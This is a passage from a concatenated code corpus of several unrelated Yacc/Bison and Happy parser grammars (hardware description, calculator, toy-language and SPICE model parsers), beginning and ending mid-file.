TOK_SYNC TOK_GLOBAL EOL { RTLIL::SyncRule *rule = new RTLIL::SyncRule; rule->type = RTLIL::SyncType::STg; rule->signal = RTLIL::SigSpec(); current_process->syncs.push_back(rule); } update_list | sync_list TOK_SYNC TOK_INIT EOL { RTLIL::SyncRule *rule = new RTLIL::SyncRule; rule->type = RTLIL::SyncType::STi; rule->signal = RTLIL::SigSpec(); current_process->syncs.push_back(rule); } update_list | /* empty */; sync_type: TOK_LOW { $$ = RTLIL::ST0; } | TOK_HIGH { $$ = RTLIL::ST1; } | TOK_POSEDGE { $$ = RTLIL::STp; } | TOK_NEGEDGE { $$ = RTLIL::STn; } | TOK_EDGE { $$ = RTLIL::STe; }; update_list: update_list TOK_UPDATE sigspec sigspec EOL { current_process->syncs.back()->actions.push_back(RTLIL::SigSig(*$3, *$4)); delete $3; delete $4; } | /* empty */; constant: TOK_VALUE { char *ep; int width = strtol($1, &ep, 10); std::list<RTLIL::State> bits; while (*(++ep) != 0) { RTLIL::State bit = RTLIL::Sx; switch (*ep) { case '0': bit = RTLIL::S0; break; case '1': bit = RTLIL::S1; break; case 'x': bit = RTLIL::Sx; break; case 'z': bit = RTLIL::Sz; break; case '-': bit = RTLIL::Sa; break; case 'm': bit = RTLIL::Sm; break; } bits.push_front(bit); } if (bits.size() == 0) bits.push_back(RTLIL::Sx); while ((int)bits.size() < width) { RTLIL::State bit = bits.back(); if (bit == RTLIL::S1) bit = RTLIL::S0; bits.push_back(bit); } while ((int)bits.size() > width) bits.pop_back(); $$ = new RTLIL::Const; for (auto it = bits.begin(); it != bits.end(); it++) $$->bits.push_back(*it); free($1); } | TOK_INT { $$ = new RTLIL::Const($1, 32); } | TOK_STRING { $$ = new RTLIL::Const($1); free($1); }; sigspec: constant { $$ = new RTLIL::SigSpec(*$1); delete $1; } | TOK_ID { if (current_module->wires_.count($1) == 0) rtlil_frontend_ilang_yyerror(stringf("ilang error: wire %s not found", $1).c_str()); $$ = new RTLIL::SigSpec(current_module->wires_[$1]); free($1); } | sigspec '[' TOK_INT ']' { $$ = new RTLIL::SigSpec($1->extract($3)); delete $1; } | sigspec '[' TOK_INT ':' TOK_INT ']' { $$ = new RTLIL::SigSpec($1->extract($5, $3 - $5 + 1)); delete $1; } | '{' sigspec_list '}' { $$ = $2; }; sigspec_list_reversed: sigspec_list_reversed sigspec { $$->push_back(*$2); delete $2; } | /* empty */ { $$ = new std::vector<RTLIL::SigSpec>; }; sigspec_list: sigspec_list_reversed { $$ = new RTLIL::SigSpec; for (auto it = $1->rbegin(); it != $1->rend(); it++) $$->append(*it); delete $1; }; conn_stmt: TOK_CONNECT sigspec sigspec EOL { if (attrbuf.size() != 0) rtlil_frontend_ilang_yyerror("dangling attribute"); current_module->connect(*$2, *$3); delete $2; delete $3; };
<filename>cherilibs/trunk/peripherals/pismdev/config.y %{ /*- * Copyright (c) 2012 <NAME> * Copyright (c) 2012-2013 <NAME> * Copyright (c) 2013 <NAME> * Copyright (c) 2015 <NAME> * All rights reserved. * * This software was developed by SRI International and the University of * Cambridge Computer Laboratory under DARPA/AFRL contract FA8750-10-C-0237 * ("CTSRD"), as part of the DARPA CRASH research programme. * * This software was developed by SRI International and the University of * Cambridge Computer Laboratory under DARPA/AFRL contract FA8750-11-C-0249 * ("MRC2"), as part of the DARPA MRC research programme. * * @BERI_LICENSE_HEADER_START@ * * Licensed to BERI Open Systems C.I.C. (BERI) under one or more contributor * license agreements. See the NOTICE file distributed with this work for * additional information regarding copyright ownership. BERI licenses this * file to you under the BERI Hardware-Software License, Version 1.0 (the * "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at: * * http://www.beri-open-systems.org/legal/license-1-0.txt * * Unless required by applicable law or agreed to in writing, Work distributed * under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * * @BERI_LICENSE_HEADER_END@ */ #include <sys/queue.h> #include <assert.h> #include <ctype.h> #include <dlfcn.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "pismdev/pism.h" const char *yyfile; uint8_t yybusno; int yyline; static void device_start(const char *name); static void device_finish(void); static void load_module(const char *path); void yyerror(const char *s); int yywrap(void); int yylex(void); static bool ifenv; static struct pism_device *curpd; static struct pism_module *curmod; %} %union { char *str; struct pism_device *pd; } %token OBRACE %token EBRACE %token SEMICOLON %token KW_ADDR %token KW_CLASS %token KW_DEVICE %token KW_GETENV %token KW_IFDEF %token KW_IFNDEF %token KW_IRQ %token KW_LENGTH %token KW_MODULE %token KW_OPTION %token <str> ID %token <str> MODULE %token <str> NAME %token <str> NUMBER %type <pd> device_spec %type <pd> param_list %% configuration: many_specs ; many_specs: many_specs spec | /* lambda */ ; spec: module_spec | device_spec | ifdef_device_spec | ifndef_device_spec | SEMICOLON | error SEMICOLON ; module_spec: KW_MODULE ID { load_module($2); } ; device_spec: KW_DEVICE NAME { ifenv = true; device_start($2); } OBRACE param_list EBRACE { device_finish(); } ; ifdef_device_spec: KW_IFDEF NAME KW_DEVICE NAME { if (getenv($2) != NULL) { ifenv = true; device_start($4); } else ifenv = false; } OBRACE param_list EBRACE { if (ifenv) device_finish(); } ; ifndef_device_spec: KW_IFNDEF NAME KW_DEVICE NAME { if (getenv($2) == NULL) { ifenv = true; device_start($4); } else ifenv = false; } OBRACE param_list EBRACE { if (ifenv) device_finish(); } ; name: NAME | KW_GETENV NAME { const char *env; env = getenv($2); if (env == NULL) env = ""; $<str>$ = strdup(env); } ; number: NUMBER | KW_GETENV NAME { const char *env; env = getenv($2); if (env == NULL) env = ""; $<str>$ = strdup(env); } ; param_list: param | param_list param ; param: KW_ADDR number SEMICOLON { if (ifenv) { printf("%s: address %s\n", curpd->pd_name, $<str>2); pism_device_option_add(curpd, PISM_DEVICE_OPTION_ADDR, $<str>2); } } | KW_CLASS ID SEMICOLON { if (ifenv) { printf("%s: module %s\n", curpd->pd_name, $<str>2); assert(curmod == NULL); curmod = curpd->pd_mod = pism_module_lookup($<str>2); assert(curmod != NULL); } } | KW_IRQ number SEMICOLON { if (ifenv) { printf("%s: irq %s\n", curpd->pd_name, $<str>2); pism_device_option_add(curpd, PISM_DEVICE_OPTION_IRQ, $<str>2); } } | KW_LENGTH number SEMICOLON { if (ifenv) { printf("%s: length %s\n", curpd->pd_name, $<str>2); pism_device_option_add(curpd, PISM_DEVICE_OPTION_LENGTH, $<str>2); } } | KW_OPTION ID name SEMICOLON { if (ifenv) { printf("%s: option %s=%s\n", curpd->pd_name, $2, $<str>3); pism_device_option_add(curpd, $2, $<str>3); } } ; %% static void load_module(const char *name) { struct pism_module *pm; void *dlhdl; char path[200]; snprintf(path, sizeof(path), "%s/%s",getenv("PISM_MODULES_PATH"), name); dlhdl = dlopen(path, RTLD_NOW); if (dlhdl == NULL) { snprintf(path, sizeof(path), "./%s", name); dlhdl = dlopen(path, RTLD_NOW); if (dlhdl == NULL) { snprintf(path, sizeof(path), "../../cherilibs/trunk/peripherals/%s", name); dlhdl = dlopen(path, RTLD_NOW); if (dlhdl == NULL) errx(4, "Unable to load module %s (%s)", name, dlerror()); } } pm = (struct pism_module *)dlsym(dlhdl, "__pism_module_info"); if (pm == NULL) errx(5, "Module %s does not define __pism_module_info", name); if (pism_module_lookup(pm->pm_name)) { printf("Already loaded module with name '%s', skipping.\n", pm->pm_name); return; } pm->pm_path = path; pm->pm_initialised = false; SLIST_INSERT_HEAD(g_pism_modules, pm, pm_next); printf("Loaded module '%s' (%s)\n", pm->pm_path, pm->pm_name); } static void device_start(const char *name) { curmod = NULL; curpd = calloc(1, sizeof(*curpd)); assert(curpd != NULL); curpd->pd_name = strdup(name); curpd->pd_busno = yybusno; TAILQ_INIT(&curpd->pd_options); } static void device_finish(void) { bool ret; assert(curpd != NULL); assert(curmod != NULL); ret = pism_device_options_finalise(curpd); if (curmod->pm_dev_init != NULL) curmod->pm_dev_init(curpd); SLIST_INSERT_HEAD(g_pism_devices[yybusno], curpd, pd_next); curpd = NULL; curmod = NULL; } void yyerror(const char *s) { errx(1, "%s:%d: %s", yyfile, yyline + 1, s); } int yywrap(void) { return (1); }
<gh_stars>10-100 %{ #define YYSTYPE double #include <stdio.h> // yylex() is generated by flex int yylex(void); // we have to define yyerror() int yyerror (char const *); %} %token NUMBER %left '+' '-' %left '*' '/' %right '(' %% stmtlist: statement '\n' stmtlist { printf("done with statement equal to [%g]\n", $1); } | // EMPTY RULE i.e. stmtlist -> nil { printf("DONE\n") ;}; statement: expression { printf("VALUE=%g\n",$1); }; expression: expression '+' expression { $$ = $1 + $3; } | expression '-' expression { $$ = $1 - $3; } | expression '*' expression { $$ = $1 * $3; } | expression '/' expression { if($3 !=0) { $$ = $1 / $3; } else { printf("div by zero\n"); $$=0;} } | '(' expression ')' { $$ = $2; } | NUMBER { $$ = $1; } ; %%
%{ #include <stdio.h> #include <stdlib.h> #include "ast.h" int yylex(); void yyerror (char *); // the AST: Prog_t tree; %} %union{ int intval; string strval; Type_t typeval; Dec_t decval; List_t decsval; Exp_t expval; Stm_t stmval; List_t stmsval; Prog_t progval; } // terminals %token <intval> INTNUM %token <strval> ID %token AND BOOL FALSE INT OR PRINTB PRINTI TRUE // nonterminals %type <progval> prog %type <decval> dec %type <decsval> decs %type <stmval> stm %type <stmsval> stms %type <expval> exp %type <typeval> type %left AND OR %left '+' '-' %left '*' '/' %start prog %% prog: '{' decs stms '}' {tree = Prog_new ($2, $3); return 0;} ; decs: dec decs {$$ = List_new ($1, $2);} | {$$ = 0;} ; dec: type ID ';' {$$ = Dec_new ($1, $2);} ; type: BOOL {$$ = TYPE_BOOL;} | INT {$$ = TYPE_INT;} ; stms: stm stms {$$ = List_new ($1, $2);} | {$$ = 0;} ; stm: ID '=' exp ';' {$$ = Stm_Assign_new ($1, $3);} | PRINTI '(' exp ')' ';' {$$ = Stm_Printi_new ($3);} | PRINTB '(' exp ')' ';' {$$ = Stm_Printb_new ($3);} ; exp: INTNUM {$$ = Exp_Int_new ($1);} | TRUE {$$ = Exp_True_new ();} | FALSE {$$ = Exp_False_new ();} | ID {$$ = Exp_Id_new ($1);} | exp '+' exp {$$ = Exp_Add_new ($1, $3);} | exp '-' exp {$$ = Exp_Sub_new ($1, $3);} | exp '*' exp {$$ = Exp_Times_new ($1, $3);} | exp '/' exp {$$ = Exp_Divide_new ($1, $3);} | exp AND exp {$$ = Exp_And_new ($1, $3);} | exp OR exp {$$ = Exp_Or_new ($1, $3);} | '(' exp ')' {$$ = $2;} ; %% void yyerror (char *s) { fprintf (stderr, "%s\n", s); return; }
%left '+' '-' %left '*' '/' %nonassoc uminus_expr %start list list: empty cons list stat '\n' stat: eval expr assign LETTER ASSIGN expr expr: paren '(' expr ')' add expr '+' expr sub expr '-' expr mul expr '*' expr div expr '/' expr uminus '-' expr ident LETTER num number number: digit DIGIT cons number DIGIT
<reponame>jaquerinte/Skeletor %token id ninteger nfloat amp blockdefinition %token opas parl parr pyc coma oprel opmd opasig bral loopfor %token brar cbl cbr ybool obool nobool opasinc %{ #include <string.h> #include <stdio.h> #include <stdlib.h> #include <string> #include <iostream> #include <vector> using namespace std; #include "common.h" // variables y funciones del A. Léxico extern int ncol,nlin,findefichero; extern int yylex(); extern char *yytext; extern FILE *yyin; int yyerror(char *s); %} %% SA : S { int tk = yylex(); if (tk != 0) yyerror(""); cout << $1.trad << endl; } ; Factor : id {string pme = $1.lexema; $$.trad = pme;} | ninteger {string pme = $1.lexema; $$.trad = pme;} | nfloat {string pme = $1.lexema; $$.trad = pme;} ; Instr : Factor pyc {$$.trad = $1.trad + ":\n";} | Func {$$.trad = $1.trad + "\n";} | /*epsilon*/ { } ; SInstr : SInstr Instr {$$.trad = $1.trad + $2.trad;} | Instr {$$.trad = $1.trad;} ; Block : cbl SInstr cbr {$$.trad = "¿\n" + $2.trad + "?";} ; SAFuncargs : coma id SAFuncargs {string pme = $2.lexema;$$.trad = "|" + pme + $3.trad;} | /*epsilon*/ { } ; SFuncargs : id SAFuncargs {string pme = $1.lexema;$$.trad = pme + $2.trad;} ; Funcargs : SFuncargs {$$.trad = $1.trad;} | /*epsilon*/ { } ; Func : blockdefinition id parl Funcargs parr Block {string pme = $2.lexema;$$.trad = "MODULE " + pme + "(" + $4.trad + ")" + $6.trad ;} ; S : Func {$$.trad = $1.trad;} ; %% void msgError(int nerror,int nlin,int ncol,const char *s) { if (nerror != ERREOF) { fprintf(stderr,"Error %d (%d:%d) ",nerror,nlin,ncol); switch (nerror) { case ERRLEXICO: fprintf(stderr,"caracter '%s' incorrecto\n",s); break; case ERRSINT: fprintf(stderr,"en '%s'\n",s); break; case ERRYADECL: fprintf(stderr,"variable '%s' ya declarada\n",s); // done break; case ERRNODECL: fprintf(stderr,"variable '%s' no declarada\n",s); // done break; case ERRDIM: fprintf(stderr,"la dimension debe ser mayor que cero\n"); break; case ERRFALTAN: fprintf(stderr,"faltan indices\n"); break; case ERRSOBRAN: fprintf(stderr,"sobran indices\n"); break; case ERR_EXP_ENT: fprintf(stderr,"la expresion entre corchetes debe ser de tipo entero\n"); // done break; case ERR_EXP_LOG: fprintf(stderr,"la expresion debe ser de tipo logico\n"); break; case ERR_EXDER_LOG: fprintf(stderr,"la expresion a la derecha de '%s' debe ser de tipo logico\n",s); break; case ERR_EXDER_ENT: fprintf(stderr,"la expresion a la derecha de '%s' debe ser de tipo entero\n",s); break; case ERR_EXDER_RE:fprintf(stderr,"la expresion a la derecha de '%s' debe ser de tipo real o entero\n",s); // 1 com break; case ERR_EXIZQ_LOG:fprintf(stderr,"la expresion a la izquierda de '%s' debe ser de tipo logico\n",s); break; case ERR_EXIZQ_RE:fprintf(stderr,"la expresion a la izquierda de '%s' debe ser de tipo real o entero\n",s); break; case ERR_NOCABE:fprintf(stderr,"la variable '%s' ya no cabe en memoria\n",s); // done break; case ERR_MAXVAR:fprintf(stderr,"en la variable '%s', hay demasiadas variables declaradas\n",s); // ? break; case ERR_MAXTIPOS:fprintf(stderr,"hay demasiados tipos definidos\n"); // ? break; case ERR_MAXTMP:fprintf(stderr,"no hay espacio para variables temporales\n"); // done break; } } else fprintf(stderr,"Error al final del fichero\n"); exit(1); } int yyerror(char *s) { extern int findefichero; // variable definida en plp5.l que indica si // se ha acabado el fichero if (findefichero) { msgError(ERREOF,-1,-1,""); } else { msgError(ERRSINT,nlin,ncol-strlen(yytext),yytext); } } int main(int argc,char *argv[]) { FILE *fent; if (argc==2) { fent = fopen(argv[1],"rt"); if (fent) { yyin = fent; yyparse(); fclose(fent); } else fprintf(stderr,"No puedo abrir el fichero\n"); } else fprintf(stderr,"Uso: ejemplo <nombre de fichero>\n"); }
<gh_stars>1-10 /* Yacc / Bison hl test file. * It won't compile :-) Sure ! */ %{ #include <iostream> using namespace std; extern KateParser *parser; %} %locations %union { int int_val; double double_val; bool bool_val; char *string_val; char *ident_val; struct var *v; void *ptr; } %token <int_val> TOK_NOT_EQUAL "!=" %token <int_val> TOK_LESSER_E "<=" %token <int_val> TOK_GREATER_E ">=" %token <int_val> TOK_EQUAL_2 "==" //comment %token PERCENT_DEBUG "%debug" PERCENT_DEFAULT_PREC "%default-prec" PERCENT_DEFINE "%define" ; %type <int_val> type type_proc %code top { #define _GNU_SOURCE #include <stdio.h> int val; } %destructor { free ($$); printf ("%d", @$.first_line); } <*> %lex-param {scanner_mode *mode}; %parse-param {int *nastiness} {int *randomness} %initial-action { @$.initialize (file_name); }; %% prog: KW_PROGRAM ident { parser->start($2); } prog_beg_glob_decl instructions { parser->endproc(0); } dev_procedures KW_ENDP ; number: integer_number | TOK_DOUBLE { $$ = new var; $$->type = KW_REEL; $$->cl = var::LITTERAL; $$->real = $<int_val>1; }; words: %empty | words word ; %type <type> word; %printer { fprintf (yyo, "%s", word_string ($$)); } <type>; word: %?{ boom(1); } | "hello" { $$ = hello; } | "bye" { $$ = bye; } ; foo: { $$ = 0 } | number { $$ = $1 | $2; } | hello { $$ = $1 | $3; } // without a comma hello: gram1 { $$ = "hi" }; | gram2 ;; %% #include <stdio.h> int main(void) { puts("Hello, World!"); return 0; }
<reponame>yrrapt/cacd<filename>src/xspf/parse.y %{ /* * ISC License * * Copyright (C) 1994-2013 by * <NAME> * <NAME> * <NAME> * <NAME> * Delft University of Technology * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "src/xspf/incl.h" extern int yyleng; #ifdef __cplusplus extern "C" { #endif static void yyerror (char *s); static char *streqn (char *s); static char *slstos (char *s); static void setUnity (char *name, char *val); static struct lib_model *getModel (char *name); #ifdef __cplusplus } #endif #define MAXUNITY 50 #define MAXMODEL 100 #define MAXEQN 1024 extern char *argv0; extern char *parFileName; extern int yylineno; extern struct lib_model *lm_head; static struct lib_model *model = NULL; static struct model_par *last_par_list; char *modelNameTab[MAXMODEL]; static int model_cnt = 0; char *unityNameTab[MAXUNITY]; char *unityValueTab[MAXUNITY]; static int unity_cnt = 0; static int eqnpos = 0; static int varval = 0; char eqnbuf[MAXEQN]; char modbuf[DM_MAXNAME+1]; char modbf2[DM_MAXNAME+1]; char nambuf[DM_MAXNAME+1]; char varbuf[DM_MAXNAME+2]; static char *tlnam = "too long name"; static char *tleqn = "too large equation"; %} %union { // double dval; char * sval; char cval; struct model_par *mpar; } %token PLUS MINUS EQUAL MULT DIV COMMA SEMICOLON COLON BAR POWER NOT LPS RPS DOLLAR UNITY MODEL ILLCHAR %token <sval> DOUBLE DOUBLE2 IDENTIFIER %type <sval> name mod mod2 variable expr %type <mpar> par_terms par_list parameter %type <cval> par_sep %left MULT DIV %left PLUS MINUS %left POW %left UMINUS %% file_descr : /* empty */ | file_descr unity | file_descr model ; unity : UNITY name DOUBLE { setUnity ($2, $3); } ; model : MODEL name { model = getModel ($2); } name LPS par_terms RPS { if (model) { struct lib_model *lm; char *s, *t; t = s = $4; while (*t) { *t = tolower (*t); t++; } t = model -> type_name; if (strcmp (s, t) != 0) { P_E "%s: model '%s' library type different from control file type (`%s' versus `%s').\n", argv0, model -> name, s, t); t = strsave (s); } model -> specified = t; model -> par_list = $6; /* are there more models with the same name? */ for (lm = model -> next; lm; lm = lm -> next) { if (strcmp (lm -> name, model -> name) == 0) { lm -> specified = model -> specified; lm -> par_list = model -> par_list; lm -> var_in_par = model -> var_in_par; } } model = NULL; } } ; par_terms : /* empty */ { $$ = NULL; } | par_list { $$ = $1; } ; par_list : parameter { $$ = last_par_list = $1; } | par_list parameter { if (model) { last_par_list -> next = $2; last_par_list = last_par_list -> next; $$ = $1; } } ; parameter : mod EQUAL expr par_sep { if (model) { char *m = $1; PALLOC ($$, 1, struct model_par); if (varval) { $$ -> var_in_val = model -> var_in_par = 1; $$ -> value = strsave ($3); } else if (strcmp (m, "level") == 0 || strcmp (m, "version") == 0) { sprintf (varbuf, "%s=%s", m, $3); m = varbuf; } else { double geom[1]; $$ -> value = strsave (fvalEqn ($3, geom)); } $$ -> name = strsave (m); $$ -> separator = $4; } eqnpos = 0; varval = 0; } | mod EQUAL mod2 par_sep { if (model) { sprintf (eqnbuf, "%s=%s", $1, $3); PALLOC ($$, 1, struct model_par); $$ -> name = strsave (eqnbuf); $$ -> separator = $4; } } | mod par_sep { if (model) { PALLOC ($$, 1, struct model_par); $$ -> name = strsave ($1); $$ -> separator = $2; } } ; expr : variable | LPS expr RPS { char *b, *s, *t; if ((eqnpos += 2) > MAXEQN) yyerror (tleqn); b = $2; t = eqnbuf + eqnpos; *--t = 0; *--t = ')'; s = --t; while (s > b) *t-- = *--s; *b = '('; $$ = b; } | expr POW expr { $$ = $1; *($3 - 1) = '^'; } | expr PLUS expr { $$ = $1; *($3 - 1) = '+'; } | expr MINUS expr { $$ = $1; *($3 - 1) = '-'; } | expr MULT expr { $$ = $1; *($3 - 1) = '*'; } | expr DIV expr { $$ = $1; *($3 - 1) = '/'; } ; variable : DOUBLE { char *s, *val = $1; s = val + yyleng - 1; val = streqn (val); if (!isdigit (*s)) { eqnpos -= 2; streqn (slstos (s)); } $$ = val; } | DOLLAR IDENTIFIER { char *t; int i; if (yyleng > DM_MAXNAME) yyerror (tlnam); t = $2; for (i = 0; i < unity_cnt; i++) { if (strcmp (unityNameTab[i], t) == 0) break; } if (i < unity_cnt) t = streqn (unityValueTab[i]); else { varval = 1; eqnbuf[eqnpos++] = '$'; t = streqn (t); --t; } $$ = t; } ; name : IDENTIFIER { if (yyleng > DM_MAXNAME) yyerror (tlnam); $$ = strcpy (nambuf, $1); } ; mod : IDENTIFIER { if (yyleng > DM_MAXNAME) yyerror (tlnam); $$ = strcpy (modbuf, $1); } ; mod2 : IDENTIFIER { if (yyleng > DM_MAXNAME) yyerror (tlnam); $$ = strcpy (modbf2, $1); } ; par_sep : COMMA { $$ = ','; } | SEMICOLON { $$ = ';'; } | /* empty */ { $$ = 0; } ; %% #ifdef yywrap #undef yywrap /* flex defines yywrap 1 */ #endif static void yyerror (char *s) { sprintf (eqnbuf, "file '%s',\n %s at line %d\n", parFileName, s, yylineno); fatalErr (eqnbuf, NULL); } static char *streqn (char *s) { char *t, *b; t = b = eqnbuf + eqnpos; while (*s) *t++ = *s++; *t++ = 0; eqnpos += t - b; if (eqnpos > MAXEQN) yyerror (tleqn); return (b); } static char *slstos (char *s) { switch (*s) { case 'P': return ("e15"); case 'T': return ("e12"); case 'G': return ("e9"); case 'M': return ("e6"); case 'k': return ("e3"); case 'm': return ("e-3"); case 'u': return ("e-6"); case 'n': return ("e-9"); case 'p': return ("e-12"); case 'f': return ("e-15"); case 'a': return ("e-18"); } return (""); } static void setUnity (char *name, char *val) { char *s, *t; int i; for (i = 0; i < unity_cnt; i++) if (strcmp (name, unityNameTab[i]) == 0) goto value; if (unity_cnt >= MAXUNITY) goto err2; unityNameTab[unity_cnt++] = strsave (name); value: s = val + yyleng - 1; if (!isdigit (*s)) { t = slstos (s); *s = 0; sprintf (varbuf, "%s%s", val, t); val = varbuf; } unityValueTab[i] = strsave (val); return; err2: sprintf (eqnbuf, "file '%s', line %d\n Too many unity names!", parFileName, yylineno); fatalErr (eqnbuf, NULL); } static struct lib_model *getModel (char *name) { struct lib_model *lm; int i; for (lm = lm_head; lm; lm = lm -> next) if (strcmp (name, lm -> name) == 0) break; if (!lm) { #if 0 P_E "Warning: range not specified for model: %s\n", name); #endif return (lm); } for (i = 0; i < model_cnt; i++) if (lm -> name == modelNameTab[i]) goto err1; if (model_cnt >= MAXMODEL) goto err2; modelNameTab[model_cnt++] = lm -> name; return (lm); err1: sprintf (eqnbuf, "file '%s', line %d\n Multiple use of model name:", parFileName, yylineno); fatalErr (eqnbuf, name); err2: sprintf (eqnbuf, "file '%s', line %d\n Too many model names!", parFileName, yylineno); fatalErr (eqnbuf, NULL); return (lm); } int yywrap () /* end-of-input */ { while (unity_cnt > 0) free (unityNameTab[--unity_cnt]); return (1); }
%{ #include <stdio.h> #include <ctype.h> #include <math.h> %} %code requires { #define YYLTYPE int #define YYSTYPE int } %token NUMBER %% command : exp1 { } ; exp1: exp1 '\n' exp { printf("%d\n", $3); } | exp { printf("%d\n", $1); }; exp : exp '+' term { $$ = $1 + $3; } | exp '-' term { $$ = $1 - $3; } | term { $$ = $1; } ; term : term '*' factor { $$ = $1 * $3; } | term '/' factor { $$ = $1 / $3; } | factor { $$ = $1; } ; factor : '-' numfactor { $$ = - $2; } | numfactor '^' numfactor { $$ = pow($1 , $3); } | numfactor { $$ = $1; } ; numfactor : NUMBER { $$ = $1; } | '(' exp ')' { $$ = $2; } ; %% int main() { yyparse(); } int yyerror(char *s) { fprintf(stderr, "%s\n", s); return 0; }
<reponame>sedwards-lab/fhw<gh_stars>1-10 { {-# OPTIONS -w #-} {- | Module : Dfc.Parser.Parser Description: Parse a Dfc file into an AST. -} module Dfc.Parser.Parser ( parse ) where import System.IO import Dfc.AST import Dfc.Parser.ParseGlue import Dfc.Parser.Lex (lexer) } -- directives %name parse -- ^ the name of the parsing function Happy generates %tokentype { Token } -- ^ the type of tokens parser accepts %token -- ^ all the possible tokens data { TKdata } signed { TKsigned } unsigned { TKunsigned } '(' { TKoparen } ')' { TKcparen } '=' { TKeq } ':' { TKcolon } ';' { TKsemicolon } '|' { TKpipe } '>' { TKgt } '<' { TKlt } '+' { TKplus } '^' { TKcarat } NAME { TKname $$ } CNAME { TKcname $$ } INTEGER { TKinteger $$ } -- | P: type constructor for the monad -- thenP: bind operation of the monad -- returnP: return operation of the monad %lexer { lexer } { TKEOF } %monad { P } { thenP } { returnP } %% dataflow : items { buildDf $1 } items : {- empty -} { ([],[],[]) } | items tdef ';' { addtdef $1 $2 } | items nsig ';' { addnsig $1 $2 } | items ninst ';' { addninst $1 $2 } tdef : data CNAME '=' variants { Tdef $2 (reverse $4) } | data CNAME unsigned INTEGER { Unsigned $2 $4 } | data CNAME signed INTEGER { Signed $2 $4 } variants : variant { [$1] } | variants '|' variant { $3 : $1 } variant : CNAME types { Variant $1 (reverse $2) } types : {- empty -} { [] } | types type { $2 : $1 } type : CNAME { $1 } nsig : NAME params ':' sigtys '>' sigtys { Nsig $1 $2 (reverse $4) (reverse $6) } params : {- empty -} {[]} | NAME params { Var $1 : $2 } | '(' NAME ':' sigty ')' params { Typed $2 $4 : $6 } sigtys : {- empty -} {[]} | sigtys sigty { $2 : $1 } sigty : type { SigType $1 } | aty { $1 } | '(' tyexp ')' { $2 } aty : aty op { Op $1 $2 } | NAME { Aexp $1 } tyexp : tyexp op { Op $1 $2 } | tyexp2 { $1 } tyexp2: tyexp2 tyexp3 { Func $1 $2 } | tyexp3 { $1 } tyexp3: NAME { Aexp $1 } | CNAME { SigType $1 } | '(' tyexp ')' { $2 } op : '+' { Plus } | '^' '(' tyexp ')' { Carat $3 } ninst : channels '=' NAME args '<' channels { Node $1 $3 (reverse $4) $6 } args : {- empty -} { [] } | args arg { $2 : $1 } arg : INTEGER { LitArg $1 } | CNAME { UserArg $1 } -- user-defined type or data constructor channels : NAME channels { $1 : $2 } | {- empty -} { [] } { -- | Reporting the parser error together with the line number happyError :: P a happyError s l = failP ("Parse error") (take 100 s) l buildDf :: ([Tdef], [Nsig], [Ninst]) -> Dataflow buildDf (t, s, i) = Dataflow (reverse t) (reverse s) (reverse i) addtdef :: ([Tdef], [Nsig], [Ninst]) -> Tdef -> ([Tdef], [Nsig], [Ninst]) addtdef (t, s, i) tt = (tt:t, s, i) addnsig :: ([Tdef], [Nsig], [Ninst]) -> Nsig -> ([Tdef], [Nsig], [Ninst]) addnsig (t, s, i) ss = (t, ss:s, i) addninst :: ([Tdef], [Nsig], [Ninst]) -> Ninst -> ([Tdef], [Nsig], [Ninst]) addninst (t, s, i) ii = (t, s, ii:i) }
<filename>KTU/Programavimo Kalbu Teorija/Prolog/PKTsolution/PKT/parser.y %defines "parser.h" %{ #include <cmath> #include <cstdio> #include <iostream> #include "astgen.h" #include "astexec.h" #define YYDEBUG 1 #define YYERROR_VERBOSE #pragma warning (disable: 4005) extern int yylex(); // lexical analyzer extern void yyerror(void* astDest, const char* msg); FILE* pOutputFile = NULL; using namespace std; %} %parse-param {void *astDest} %union{ char* type; char* identifier; char* op; char* string; float number; struct AstElement* ast; } %token<type> DATA_TYPE %token<identifier> IDENTIFIER %token<string> STRING_VALUE %token<number> NUMBER_VALUE %token RETURN IF ELIF ELSE FOR WHILE %token<op> MORE_OP LESS_OP EQUAL_OP MORE_OR_EQUAL_OP LESS_OR_EQUAL_OP OR_OP AND_OP %token<op> ADD_OP SUB_OP MUL_OP DIV_OP MOD_OP ADD_ASSIGN_OP SUB_ASSIGN_OP INC_OP DEC_OP ASSIGN_OP %type<op> boolean_operator arithmetic_operator %type<ast> program compound_statement statement_list statement assignment_statement exp declaration_statement constant %type<ast> if_statement loop_statement for_expression return_statement boolean_expression %type<ast> function_call function_declaration argument_list argument %left '-' '+' %left '*' '/' %% program : statement_list { (*(struct AstElement**)astDest) = $1; }; ; statement_list : statement { $$ = $1;} | statement_list statement { $$ = makeStatement($1, $2); } ; statement : assignment_statement ';' { $$ = $1; } | exp ';' { $$ = $1; } | declaration_statement ';' { $$ = $1; } | if_statement { $$ = $1; } | loop_statement { $$ = $1; } | function_declaration { $$ = $1; } | function_call ';' { $$ = $1; } | return_statement ';' { $$ = $1; } ; exp : IDENTIFIER { $$ = makeExpByName($1); } | constant { $$ = $1; } | exp arithmetic_operator exp { printf("operator: %s", $3); $$ = makeExpression($1, $3, $2); } | IDENTIFIER INC_OP { $$ = makeExpIncrease($1); } | IDENTIFIER DEC_OP { $$ = makeExpDecrease($1); } ; assignment_statement : IDENTIFIER ASSIGN_OP exp { $$ = makeAssignment($1, $3); } ; constant : STRING_VALUE { $$ = makeExpByString($1); } | NUMBER_VALUE { $$ = makeExpByNum($1); } ; arithmetic_operator : ADD_OP { printf("op: ", $1); $$ = $1; } | SUB_OP { $$ = $1; } | MUL_OP { $$ = $1; } | DIV_OP { $$ = $1; } | MOD_OP { $$ = $1; } ; declaration_statement : DATA_TYPE 